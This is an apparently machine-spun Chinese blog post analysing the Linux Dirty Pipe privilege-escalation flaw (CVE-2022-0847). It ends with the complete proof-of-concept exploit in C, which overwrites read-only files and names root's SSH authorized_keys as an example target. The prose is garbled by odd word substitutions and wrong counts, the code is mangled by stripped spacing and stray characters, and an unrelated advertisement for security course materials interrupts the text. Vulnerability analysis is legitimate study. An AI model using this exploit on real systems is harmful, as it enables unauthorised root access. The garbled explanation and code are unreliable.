序言
CVE-2022-0847 DirtyPipe脏管线安全漏洞是LinuxMach中的两个安全漏洞,该安全漏洞容许写黎贞文档,进而引致提权。
增容自然环境
ubuntu 20.04
Linux-5.16.10
qemu-system-x86_64 4.2.1
安全漏洞校正
具体来说建立两个黎贞文档foo.txt,因此恒定情况下是难以修正该复本文档,但借助了DirtyPipe安全漏洞后辨认出能将字符串aaaa载入到黎贞文档中
安全漏洞预测
具体来说poc建立了两个管线,管线缓冲区的默认大小为4096,因此拥有16个缓存区,因此再建立管线之后,poc具体来说要做的是将这16个管线缓冲区填满。
…if (pipe(p)) abort();constunsignedpipe_size=fcntl(p[1], F_GETPIPE_SZ);staticcharbuffer[4096];for (unsignedr=pipe_size; r>0😉 {unsignedn=r>sizeof(buffer) ?sizeof(buffer) : r;write(p[1], buffer, n);r-=n; }…
在进行管线写的操作时,Mach是采用pipe_write函数进行操作,这里截取了关键部分,在进行管线写的时候会判断通过函数is_packetized去判断是否为目录属性,如果不是则将缓冲区的标志位设置为PIPE_BUF_FLAG_CAN_MERGE,这个标志位非常关键,是引致安全漏洞成因,因此poc为了使16个管线缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位,因此选择循环16次, 因此将每个管线缓冲区都写满。
随着poc将管线内的数据全部读出,为了清空管线缓冲区,在进行管线读的过程中,Mach采用的是pipe_read函数,在整个管线读的过程中是不会修正管线的标志位的,因此PIPE_BUF_FLAG_CAN_MEGE标志位依旧存在
…for (unsignedr=pipe_size; r>0😉 {unsignedn=r>sizeof(buffer) ?sizeof(buffer) : r;read(p[0], buffer, n);r-=n; }…
紧接着是触发安全漏洞的关键函数,splice函数,用于移动数据,此时fd指向我们想读取的文档,对应上述的foo.txt黎贞文档,p[1]指向的是我们的管线符。
…ssize_tnbytes=splice(fd, &offset, p[1], NULL, 1, 0);…
在调用splice函数时,Mach在某个阶段会调用copy_page_to_iter函数,能看到当管线满了之后就没办法通过splice函数往管线内继续输入数据,那么splice函数就难以恒定执行了,因此需要清空管线内的数据。
后面则到达了安全漏洞发生的代码,由于我们使用splice函数进行数据的移动,在Mach中不是选择将数据直接从文档中拷贝到管线中,而是将文档所在的物理页直接赋值给管线缓冲区所对应的页面。
最后就是再次调用管线写的操作,但这里实际会载入黎贞文档内部
…nbytes=write(p[1], data, data_size);…
① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC安全漏洞预测报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)
由于已经通过splice函数移动数据到管线缓冲区古内部了,因此管线不为空会进入到455行的内部处理逻辑
最终到达了往黎贞文档载入的操作,这里看到了PIPE_BUF_FLAG_CAN_MERGE这个标志位的作用,该标志位就是会将数据合并,使得后续管线写的操作会继续向之前的管线缓冲区对应的物理页面继续载入,载入的操作是通过copy_page_from_iter(buf->page,offset,chars,from)函数进行完成的,该函数实际就是将from对应的数据载入到buf->page中
能看到buf->page与page地址是完全一样的,这就引致我们将数据载入修正到foo.txt文档中
补丁
总结
将所有管线缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位
清空管线缓冲区
使用splice
使用pipe_write函数对拥有PIPE_BUF_FLAG_CAN_MERGE标志位的处理,对获得文档对应的物理页进行载入操作,进而达到对黎贞文档载入的操作
对文档有读权限,因为splice函数会具体来说判断对文档是否有复本权限,若无则难以恒定执行
由于DirtyPipe是对文档对应的物理做覆写操作,因此不能修正超过文档本身大小的数据,以及文档的第两个字节难以被修正(因为splice函数需要移动至少一字节数据)
由于DirtyPipe是对物理页进行修正,因此修正数据大小也不能超过一页
完整的poc
/* SPDX-License-Identifier: GPL-2.0 *//** Copyright 2022 CM4all GmbH / IONOS SE** author: Max Kellermann <[email protected]>** Proof-of-concept exploit for the Dirty Pipe* vulnerability (CVE-2022-0847) caused by an uninitialized* “pipe_buffer.flags” variable. It demonstrates how to overwrite any* file contents in the page cache, even if the file is not permitted* to be written, immutable or on a read-only mount.** This exploit requires Linux 5.8 or later; the code path was made* reachable by commit f6dd975583bd (“pipe: merge* anon_pipe_buf*_ops”). The commit did not introduce the bug, it was* there before, it just provided an easy way to exploit it.** There are two major limitations of this exploit: the offset cannot* be on a page boundary (it needs to write one byte before the offset* to add a reference to this page to the pipe), and the write cannot* cross a page boundary.** Example: ./write_anything /root/.ssh/authorized_keys 1 $\nssh-ed25519 AAA……\n** Further explanation: https://dirtypipe.cm4all.com/*/#define _GNU_SOURCE#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/stat.h>#include <sys/user.h>#ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif/*** Create a pipe where all “bufs” on the pipe_inode_info ring have the* PIPE_BUF_FLAG_CAN_MERGE flag set.*/staticvoidprepare_pipe(intp[2]){if (pipe(p)) abort();constunsignedpipe_size=fcntl(p[1], F_GETPIPE_SZ);staticcharbuffer[4096];/* fill the pipe completely; each pipe_buffer will now havethe PIPE_BUF_FLAG_CAN_MERGE flag */for (unsignedr=pipe_size; r>0😉 {unsignedn=r>sizeof(buffer) ?sizeof(buffer) : r;write(p[1], buffer, n);r-=n; }/* drain the pipe, freeing all pipe_buffer instances (butleaving the flags initialized) */for (unsignedr=pipe_size; r>0😉 {unsignedn=r>sizeof(buffer) ?sizeof(buffer) : r;read(p[0], buffer, n);r-=n; }/* the pipe is now empty, and if somebody adds a newpipe_buffer without initializing its “flags”, the bufferwill be mergeable */}intmain(intargc, char**argv){if (argc!=4) {fprintf(stderr, “Usage: %s TARGETFILE OFFSET DATA\n”, argv[0]);returnEXIT_FAILURE; }/* dumb command-line argument parser */constchar*constpath=argv[1];loff_toffset=strtoul(argv[2], NULL, 0);constchar*constdata=argv[3];constsize_tdata_size=strlen(data);if (offset%PAGE_SIZE==0) {fprintf(stderr, “Sorry, cannot start writing at a page boundary\n”);returnEXIT_FAILURE; }constloff_tnext_page= (offset| (PAGE_SIZE–1)) +1;constloff_tend_offset=offset+ (loff_t)data_size;if (end_offset>next_page) {fprintf(stderr, “Sorry, cannot write across a page boundary\n”);returnEXIT_FAILURE; }/* open the input file and validate the specified offset */constintfd=open(path, O_RDONLY); // yes, read-only! 🙂if (fd<0) {perror(“open failed”);returnEXIT_FAILURE; }structstatst;if (fstat(fd, &st)) {perror(“stat failed”);returnEXIT_FAILURE; }if (offset>st.st_size) {fprintf(stderr, “Offset is not inside the file\n”);returnEXIT_FAILURE; }if (end_offset>st.st_size) {fprintf(stderr, “Sorry, cannot enlarge the file\n”);returnEXIT_FAILURE; }/* create the pipe with all flags initialized withPIPE_BUF_FLAG_CAN_MERGE */intp[2];prepare_pipe(p);/* splice one byte from before the specified offset into thepipe; this will add a reference to the page cache, butsince copy_page_to_iter_pipe() does not initialize the“flags”, PIPE_BUF_FLAG_CAN_MERGE is still set */—offset;ssize_tnbytes=splice(fd, &offset, p[1], NULL, 1, 0);if (nbytes<0) {perror(“splice failed”);returnEXIT_FAILURE; }if (nbytes==0) {fprintf(stderr, “short splice\n”);returnEXIT_FAILURE; }/* the following write will not create a new pipe_buffer, butwill instead write into the page cache, because of thePIPE_BUF_FLAG_CAN_MERGE flag */nbytes=write(p[1], data, data_size);if (nbytes<0) {perror(“write failed”);returnEXIT_FAILURE; }if ((size_t)nbytes<data_size) {fprintf(stderr, “short write\n”);returnEXIT_FAILURE; }printf(“It worked!\n”);returnEXIT_SUCCESS;}